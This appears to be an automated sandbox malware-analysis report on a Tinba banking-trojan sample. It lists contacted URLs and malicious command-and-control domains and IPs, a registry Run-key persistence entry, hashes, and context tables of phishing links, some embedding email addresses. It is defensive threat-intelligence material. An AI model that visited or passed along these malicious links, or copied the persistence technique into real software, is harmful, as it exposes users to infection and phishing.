https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A	explorer.exe, 00000003.00000002.2985052008.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://unitedstates4.ss.wd.microsoft.us	smartscreen.exe, 00000010.00000002.2966541027.000001A22A337000.00000004.00000001.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://unitedstates2.ss.wd.microsoft.us	smartscreen.exe, 00000010.00000002.2966541027.000001A22A337000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://unitedstates1.ss.wd.microsoft.us	smartscreen.exe, 00000010.00000002.2966541027.000001A22A337000.00000004.00000001.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://loki.delve.office.com/api	SearchApp.exe, 0000000B.00000000.1769589682.0000024B4218C000.00000004.00000001.00020000.00000000.sdmp	false		high
https://searchapp.bundleassets.example/desktop/2.html	SearchApp.exe, 0000000B.00000000.1766436902.0000024B41E30000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.activity.windows.comer	svchost.exe, 00000005.00000000.1715119977.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2921088315.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/news?OCID=WSB_QS_NE&PC=wsbmsnqshttps://www.msn.com/sports?OCID=WSB_TL_EL&PC=wsbm	SearchApp.exe, 0000000B.00000000.1829269370.0000024B55240000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.activity.windows.coms	svchost.exe, 00000005.00000000.1715061141.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2917556566.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aefd.nelreports.net/api/report?cat=wsb	SearchApp.exe, 0000000B.00000000.1767315960.0000024B41F45000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent	explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://activity.windows.comt	svchost.exe, 00000005.00000000.1715061141.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2917556566.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.windows.local/	svchost.exe, 00000005.00000000.1715119977.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2921088315.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/Vh5j3k	explorer.exe, 00000003.00000000.1634162143.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2985052008.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/v1/news/Feed/Windows?&	explorer.exe, 00000003.00000002.3031801494.00000000096DF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1636199688.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg	explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://outlook.office365.com/mail/deeplink/attachment/	SearchApp.exe, 0000000B.00000000.1829269370.0000024B55259000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar	explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://fb.me/react-polyfills	SearchApp.exe, 0000000B.00000000.1808464287.0000024B44916000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/	explorer.exe, 00000003.00000002.3031801494.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1636199688.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.activity.windows.com	svchost.exe, 00000005.00000000.1715119977.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1715061141.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2917556566.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2921088315.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d	explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://gcchigh.loki.office365.us/api/	SearchApp.exe, 0000000B.00000000.1769491887.0000024B42180000.00000004.00000001.00020000.00000000.sdmp	false		high
https://activity.windows.com	svchost.exe, 00000005.00000000.1715061141.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2917556566.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2922265482.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1715147840.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	false		high
https://excel.office.comcp	StartMenuExperienceHost.exe, 00000009.00000002.2905023866.000001B98144E000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 00000009.00000000.1728659205.000001B98144E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark	explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com:443/en-us/feed	explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.activity.windows.com/v1/assets/$batch	svchost.exe, 00000005.00000000.1715061141.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2917556566.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2922265482.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1715147840.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/weather/topstories/rest-of-hurricane-season-in-uncharted-waters-because-of	explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://%s.dnet.xboxlive.com	svchost.exe, 00000005.00000002.2919603174.00000151A4A65000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1715089541.00000151A4A65000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	low

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
216.218.185.162	vcklmnnejwxx.pw	United States	6939	HURRICANEUS	true
178.62.201.34	uyhgqunqkxnx.pw	European Union	14061	DIGITALOCEAN-ASNUS	true
173.222.162.32	unknown	United States	35994	AKAMAI-ASUS	false

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1378065
Start date and time:	2024-01-20 20:40:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	36
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	java.exe
Detection:	MAL
Classification:	mal100.bank.expl.evad.winEXE@10/10@9/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 125 Number of non-executed functions: 67
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
19:41:04	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 0C0BC82C C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe
19:41:13	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 0C0BC82C C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe
20:41:00	API Interceptor	1x Sleep call for process: winver.exe modified
20:41:00	API Interceptor	983x Sleep call for process: explorer.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
216.218.185.162	java.exe	Get hash	malicious	Tinba	Browse	fccfxejgtpqb.pw/EiDQjNbWEQ/
	PrintWiz.exe	Get hash	malicious	Tinba	Browse	pxscpwnnqujq.net/el0hjkd76ghs65dhj0it/
	java.exe	Get hash	malicious	Tinba	Browse	cmnsgscccrej.pw/EiDQjNbWEQ/
	3G36K54KKw.exe	Get hash	malicious	Tinba	Browse	ve0t182er814kok.cc/vet0up7gj67sdhjd17up0er/
	http://hbjtorutqkl.org	Get hash	malicious	Unknown	Browse	hbjtorutqkl.org/
	http://www.paypr.com	Get hash	malicious	Unknown	Browse	www.paypr.com/
	Fxj6eiNUQ1.exe	Get hash	malicious	Unknown	Browse	mypark.cc/qa/
	1boDHMvtCl.exe	Get hash	malicious	Tinba	Browse	vcklmnnejwxx.pw/EiDQjNbWEQ/
	N7B5dyjbIS.exe	Get hash	malicious	Tinba	Browse	vcklmnnejwxx.pw/EiDQjNbWEQ/
	bhiDwU4Geh.exe	Get hash	malicious	Tinba	Browse	qvvksmeemfgd.com/spam/
	K73CgOgVZ9.exe	Get hash	malicious	Tinba	Browse	qvvksmeemfgd.com/spam/
	I90gcqKK3m.exe	Get hash	malicious	Tinba	Browse	ggvruxovlbrm.com/spam/
	KlNXUPV2V9.exe	Get hash	malicious	Tinba	Browse	qvvksmeemfgd.com/spam/
	26cCgegATh.exe	Get hash	malicious	Tinba	Browse	spaines.pw/EiDQjNbWEQ/
	4jNfjcMzST.exe	Get hash	malicious	Tinba	Browse	spaines.pw/EiDQjNbWEQ/
	PFubud554p.exe	Get hash	malicious	Tinba	Browse	vcklmnnejwxx.pw/EiDQjNbWEQ/
	xST04RvuDH.exe	Get hash	malicious	Tinba	Browse	spaines.pw/EiDQjNbWEQ/
	rTv7jUz1P5.exe	Get hash	malicious	Tinba	Browse	spaines.pw/EiDQjNbWEQ/
	6phPAtxcUR.exe	Get hash	malicious	Tinba	Browse	cmnsgscccrej.pw/EiDQjNbWEQ/
	IPwhmF3OZ3.exe	Get hash	malicious	Tinba	Browse	vcklmnnejwxx.pw/EiDQjNbWEQ/
173.222.162.32	java.exe	Get hash	malicious	Tinba	Browse
	java.exe	Get hash	malicious	Tinba	Browse
	p2pWin.exe	Get hash	malicious	Petya / NotPetya, Mimikatz	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mfueeimvyrsp.pw	java.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	sNZuv8N8pu.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	C08nibNrTH.exe	Get hash	malicious	Unknown	Browse	216.218.185.162
	3VPzpw8aQd.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	hyyjqrWo12.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	ph0Z652SJT.exe	Get hash	malicious	Unknown	Browse	216.218.185.162
vcklmnnejwxx.pw	java.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	java.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	1boDHMvtCl.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	N7B5dyjbIS.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	PFubud554p.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	6phPAtxcUR.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	IPwhmF3OZ3.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	sZ8q0q3VNz.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	deOHDeSfAr.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	o2tow8Yiis.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	S6bS8zCitm.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	eddLVK4Ak8.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	oaCC6gQGMe.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	Mb5ahRznK0.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	cBn0fkHo3x.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	s81nbT3Zep.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	tHgi7eqSU8.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	Se7RDF9xyE.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	i3kLBdupx2.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	sNZuv8N8pu.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
uyhgqunqkxnx.pw	java.exe	Get hash	malicious	Tinba	Browse	45.77.249.79
	java.exe	Get hash	malicious	Tinba	Browse	104.131.68.180
	1boDHMvtCl.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	N7B5dyjbIS.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	PFubud554p.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	6phPAtxcUR.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	IPwhmF3OZ3.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	sZ8q0q3VNz.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	deOHDeSfAr.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	o2tow8Yiis.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	S6bS8zCitm.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	eddLVK4Ak8.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	oaCC6gQGMe.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	Mb5ahRznK0.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	cBn0fkHo3x.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	s81nbT3Zep.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	tHgi7eqSU8.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	Se7RDF9xyE.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	i3kLBdupx2.exe	Get hash	malicious	Tinba	Browse	192.42.116.41
	sNZuv8N8pu.exe	Get hash	malicious	Tinba	Browse	192.42.116.41

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HURRICANEUS	file.exe	Get hash	malicious	BazaLoader	Browse	65.49.20.10
	hLMpffD0sY.exe	Get hash	malicious	Nanocore	Browse	216.218.135.117
	L3kF56AP0m.exe	Get hash	malicious	Nanocore	Browse	216.218.135.117
	java.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	Pay-App+for+final+lien+release+requires+your+review.htm	Get hash	malicious	Unknown	Browse	64.71.144.72
	PrintWiz.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	java.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	3G36K54KKw.exe	Get hash	malicious	Tinba	Browse	216.218.185.162
	imaginebeingarm7.elf	Get hash	malicious	Mirai, Moobot	Browse	170.199.208.0
	2YRmJ2lhap.exe	Get hash	malicious	Unknown	Browse	72.52.84.202
	L8PCdNq0xs.elf	Get hash	malicious	Mirai	Browse	184.104.188.104
	22iXhC1ACX.elf	Get hash	malicious	Mirai	Browse	5.152.182.52
	oBtxppgLWB.elf	Get hash	malicious	Mirai	Browse	216.218.165.228
	z0r0.x86.elf	Get hash	malicious	Mirai	Browse	72.14.64.79
	5aHdc3wOqU.elf	Get hash	malicious	Mirai	Browse	173.242.57.34
	Ok003hLQXE.elf	Get hash	malicious	Mirai	Browse	72.14.64.64
	PPh4qGlopz.elf	Get hash	malicious	Unknown	Browse	184.104.158.219
	QbQ0spd3GB.elf	Get hash	malicious	Mirai	Browse	209.135.12.122
	zjkV4N6A5M.elf	Get hash	malicious	Mirai	Browse	65.49.39.198
	2EDcea0dMU.elf	Get hash	malicious	Mirai	Browse	65.49.39.187
DIGITALOCEAN-ASNUS	toolspub1.exe	Get hash	malicious	LummaC, Babuk, Djvu, LummaC Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	134.209.130.144
	python.exe	Get hash	malicious	CobaltStrike	Browse	159.89.124.188
	arm7.elf	Get hash	malicious	Mirai	Browse	157.245.182.60
	3ZNRd52b3x.elf	Get hash	malicious	Mirai	Browse	157.245.157.57
	VXl6IxOofO.exe	Get hash	malicious	Gurcu Stealer	Browse	164.90.185.9
	n199svrcQC.elf	Get hash	malicious	Mirai	Browse	157.245.82.77
	bt.exe	Get hash	malicious	Neconyd	Browse	64.225.91.73
	xVrjcK2VJW.exe	Get hash	malicious	Lokibot	Browse	142.93.72.33
	https://login.microsoft-auth.info/file/2fa-compliance/page+authorization.html#coreyk@we-worldwide.com	Get hash	malicious	HTMLPhisher	Browse	45.55.64.109
	pdfcentral.exe	Get hash	malicious	Unknown	Browse	167.172.250.54
	pdfcentral.exe	Get hash	malicious	Unknown	Browse	167.172.250.54
	pBVFNv9jh6.elf	Get hash	malicious	Mirai	Browse	138.68.122.142
	3cuyLzGzyD.elf	Get hash	malicious	Mirai	Browse	157.230.1.145
	http://yhtc.waitslotvip.shop/4twZzp2966ZfQW273ylszwngjeo14478IENNWZNBABFXSHI196580PMUT9061Y12	Get hash	malicious	Phisher	Browse	45.55.126.207
	https://n9.cl/rk6b3	Get hash	malicious	Unknown	Browse	198.211.98.91
	SecuriteInfo.com.Python.Stealer.1122.27257.27673.exe	Get hash	malicious	Creal Stealer	Browse	159.89.102.253
	https://cmjeu0rug2jtmq11nqdg8ssjm7bqanp58.oast.me	Get hash	malicious	Unknown	Browse	178.128.209.14
	http://cmjeu0rug2jtmq11nqdg8ssjm7bqanp58.oast.me	Get hash	malicious	Unknown	Browse	178.128.209.14
	https://click.actmkt.com//s/052-31d3cd75-fa72-4087-91b5-f3abd4b30b2f?enr=naahiaduabyaa4yahiac6abpabraa3yamqahsadnabqqa4yaomagcadhabsqayyamuag4aduabsqa4qamqagkadmabuaa2iafyagsadoab6aazqameahmadpabzaaqaammagcadqabzqa5aan4ag4adfab2aayiaoiagiadjabzaa3qam4ac4addabxqa3iapqadcad4ab6aamaaguadeabnaazqamiamqadgaddabsaanyaguac2adgabqqanyagiac2abuaayaaoaag4ac2abzaayqayqaguac2adgaazqayiamiagiabuabraamyagaageabsabtaa7aagaadkabzaawqayyaguadeabzaazqamiaguadcabnabrqazaageadsabnaa2aamiagyadeabnaa4aamaaheagcabnabraamqageadaaddabsqaniagmagiadgaayqazaapqadaabqaayqaliameadcadeaa4qamqagiaggadfaawqaoaagyadgabwaawqanaag4ageabraawqayqagyagiadfaawqanqamyagcadbaazaaziagmagmadeaazaamyagyahyad4abaqa7aa====&mKnBM/FLvMOZbQt#/793969793969/bWVsaXNzYS5iZWxsQHB0LnFsZC5nb3YuYXU	Get hash	malicious	HTMLPhisher	Browse	167.99.186.218
	http://etrjsff.pinkagencia.com	Get hash	malicious	Unknown	Browse	165.227.138.37
AKAMAI-ASUS	python.exe	Get hash	malicious	CobaltStrike	Browse	23.54.200.159
	2D5770EB59209D2238670233CB2BE6424F7974800B83F.exe	Get hash	malicious	Unknown	Browse	23.192.229.164
	3ZNRd52b3x.elf	Get hash	malicious	Mirai	Browse	23.57.232.44
	https://far-skateboard-ba2.notion.site/GAFFNEY-Electrical-Services-Pty-Ltd-4f330ac7f10f4d20a77520190e6fd06c?pvs=4%22)%20and%20ContentType:(%221%22)	Get hash	malicious	HTMLPhisher	Browse	23.49.5.148
	yg8uZi8OUS.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse	104.84.231.73
	kyQ6tISCd6.elf	Get hash	malicious	Mirai	Browse	2.17.183.135
	vveZnyJj0e.elf	Get hash	malicious	Mirai	Browse	125.56.147.156
	2XcXiCaqz1.elf	Get hash	malicious	Mirai	Browse	104.64.159.190
	PO Request From Leonard Adams Insurance.msg	Get hash	malicious	Unknown	Browse	104.84.231.227
	http://googlechrome.com.cn	Get hash	malicious	Unknown	Browse	23.60.84.29
	huhu.arm.elf	Get hash	malicious	Mirai	Browse	23.36.242.160
	huhu.x86.elf	Get hash	malicious	Mirai	Browse	23.64.233.45
	huhu.arm7.elf	Get hash	malicious	Mirai	Browse	96.25.116.252
	Fatturation110124.exe	Get hash	malicious	Unknown	Browse	23.54.200.159
	SecuriteInfo.com.FileRepMalware.7801.14746.exe	Get hash	malicious	Unknown	Browse	104.108.66.94
	https://gtm.steamproxy.vip/market/	Get hash	malicious	Unknown	Browse	23.195.238.96
	https://hr-a65.pages.dev/account/js-reporting/?crumb=uZ4.07kERLI&message=javascript_not_enabled&ref=%2Faccount%2Fchallenge%2Fpassword	Get hash	malicious	HTMLPhisher	Browse	173.222.196.22
	original.eml	Get hash	malicious	HTMLPhisher	Browse	23.222.155.167
	https://energyexplorationtech-my.sharepoint.com/:f:/g/personal/matthew_jordan_energyexplorationtech_onmicrosoft_com/Eutt63ri_fxJp-ldVsqBKcMBig5tJSIRYH8Jz2cCkpGq6A?e=jprcz0	Get hash	malicious	HTMLPhisher	Browse	23.194.100.10
	OriginalMessage.txt.msg	Get hash	malicious	HTMLPhisher	Browse	104.112.177.85

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	python.exe	Get hash	malicious	CobaltStrike	Browse	173.222.162.32
	https://ecv.microsoft.com/PvQb0AQbQ9	Get hash	malicious	Unknown	Browse	173.222.162.32
	https://far-skateboard-ba2.notion.site/GAFFNEY-Electrical-Services-Pty-Ltd-4f330ac7f10f4d20a77520190e6fd06c?pvs=4%22)%20and%20ContentType:(%221%22)	Get hash	malicious	HTMLPhisher	Browse	173.222.162.32
	SecuriteInfo.com.Trojan-Downloader.MSIL.Agent.29786.22815.exe	Get hash	malicious	Unknown	Browse	173.222.162.32
	https://cbiblec4me.com/svenska-tonaring-januari/?s=Vi&pvhem=7291&fbclid=IwAR0IJuMChf4diWNNNE_TVlaTVIj6q2oYBcrCU2ZjnsisQ53ajsuET3RHXPg	Get hash	malicious	Unknown	Browse	173.222.162.32
	https://jp.mmerricari.com.yiyaodao.com/pc/index.php	Get hash	malicious	Unknown	Browse	173.222.162.32
	https://cl7.fdttadtyu.pics/tWBxach3/index.html	Get hash	malicious	Unknown	Browse	173.222.162.32
	https://cl3.fdttadtyu.pics/6oagaY3v/index.html	Get hash	malicious	Unknown	Browse	173.222.162.32
	https://cl8.fdttadtyu.pics/mTaVSoo9/index.html	Get hash	malicious	Unknown	Browse	173.222.162.32
	https://cl9.fdttaytyu.pics/GvD5PILg/index.html	Get hash	malicious	Unknown	Browse	173.222.162.32
	https://cl6.tuygbtyui.pics/2NNEwCmQ/index.html	Get hash	malicious	Unknown	Browse	173.222.162.32
	https://cl9.fdttadtyu.pics/Rpyj3JnM/index.html	Get hash	malicious	Unknown	Browse	173.222.162.32
	https://cl7.tuygbtyui.pics/zoXMHadJ/index.html	Get hash	malicious	Unknown	Browse	173.222.162.32
	https://jfwbgwiugeq2ohfqofh16.z13.web.core.windows.net/win/	Get hash	malicious	GRQ Scam	Browse	173.222.162.32
	https://cl8.tuygbtyui.pics/Wzj9UweA/index.html	Get hash	malicious	Unknown	Browse	173.222.162.32
	https://kog.pages.dev/robots.txt	Get hash	malicious	HTMLPhisher	Browse	173.222.162.32
	https://uiokkrtsghmr.pics/gTEfR8nB/index.html	Get hash	malicious	Unknown	Browse	173.222.162.32
	View - (1)Fax.eml	Get hash	malicious	Unknown	Browse	173.222.162.32
	https://m25z98brt5vb2m93fi0p.storage.googleapis.com/m25z98brt5vb2m93fi0p-i#cl/9810_md/1110/6902/1803/54/981368	Get hash	malicious	Phisher	Browse	173.222.162.32
	https://m25z98brt5vb2m93fi0p.storage.googleapis.com/m25z98brt5vb2m93fi0p-u	Get hash	malicious	Unknown	Browse	173.222.162.32

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	modified
Size (bytes):	82400
Entropy (8bit):	5.7978449631526905
Encrypted:	false
SSDEEP:	1536:0oA2ul/D/Mb616FUFtWoA2iG/Dyqb61NBUFgK:+8UFqBUF3
MD5:	51AA9F7524C37CD4FF3C1CB6485DD6C0
SHA1:	A43B6A2F609684A1F0EBE1739C7264190A89DC54
SHA-256:	1AD5A6217415DC4602ACC180CB886E13B613A7DAF188B3D5C5CE059C3D589B4A
SHA-512:	B0252E62BEDB5771765E4C7FD574FBCD4BCD3EA83E211237DCBCA704F1E56F388045F8205D39EC14A22DF1BDDDC28A12C85E13F0AC48833A51D0E8C79266B728
Malicious:	false
Preview:	........m...e.eM.Q.T.f...3..........a.B...........v.............................................................................w.5.......^.......G.(.......>..............................................................................IA.,!Y...T...U..%.(P..x_exe_pathc:\users\user\desktop\officesetup.exeeC...@.,....4l..z..==Jy.;..hosteC..I?.,!Y..4l..z..==Jy.;..x_exe_pathc:\users\user\desktop\officesetup.exeeC...>.,......$s.A\.8\|.vP.hosteC..<=.,.A....$s.A\.8\|.vP.packageidmicrosoft.windows.explorereC..@<.,'A....$s.A\.8\|.vP.windows_win32microsoft.windows.explorereC...;.,...C...?O..}-j:..hoste%<N<:.,.A.C...?O..}-j:..packageidmicrosoft.windows.explorere%<N@9.,'A.C...?O..}-j:..windows_win32microsoft.windows.explorere%<N.8.,.....g.,....r.....".y.@..hoste..B.f.,!K..r.....".y.@..x_exe_pathc:\users\user\desktop\java.exee.....C,....xX.%....^...._.hosteD.$....,..#..xX.%....^...._.packageid{6d809377-6af0-444b-8957-a3773f02200e}\adobe\acrobat dc\acrobat\acrobat.exeeD.$....,'.#..xX

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\XIYR6UZ0\www.bing[1].xml

Download File

Process:	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
File Type:	Unicode text, UTF-8 text, with very long lines (45174), with no line terminators
Category:	dropped
Size (bytes):	45182
Entropy (8bit):	5.035762643577828
Encrypted:	false
SSDEEP:	768:5MZG7xRKm1A1a/Qh/qLPvkc1mYyPdT9SWrRW:5LcrW
MD5:	6BA6B68478FF5B7338BA6F984A7B9760
SHA1:	E892E5DF7C4EF6C7852A821E00A5AB97B7E5F229
SHA-256:	A2608837DBCD3D389F738B4163F0123D7A277BAE208108F8D8CD2F53AD8981F1
SHA-512:	DBD715601693B18E5288345AB3EC1683C2A639C46E11E7B601A044E48AB20E33CCDA54ED4A6023999F1F806563963635CAD2DC03A84484A6BDE474A7390205FE
Malicious:	false
Preview:	<root><item name="eventLogQueue_Online" value="[]" ltime="1452306022" htime="31083490" /><item name="eventLogQueue_Online_logUploadIntervalStartDate" value="1696333692425" ltime="2102739245" htime="31061487" /><item name="eventLogQueue_Online_uploadedLogSizeInInterval" value="0" ltime="2102740428" htime="31061487" /><item name="mdsb-v" value="8" ltime="2823990064" htime="31061487" /><item name="DSBMomentsCacheKey" value="{"cacheTime":1696333765585,"response":{"SchemaVersion":"1.1","ContentCollection":[{"Date":"20231003","Name":"IOTD: WhitsundaySwirl","Order":1,"IsMainColumnInLeft":true,"Data":[{"CardType":"Hero","UXOrder":1,"Cards":[{"Scenario":"ImageOfTheDay","UXTemplateName":"DescriptiveHoverCard","FieldsStore":{"Title":"Whitehaven Beach, Whitsunday Island, Queen

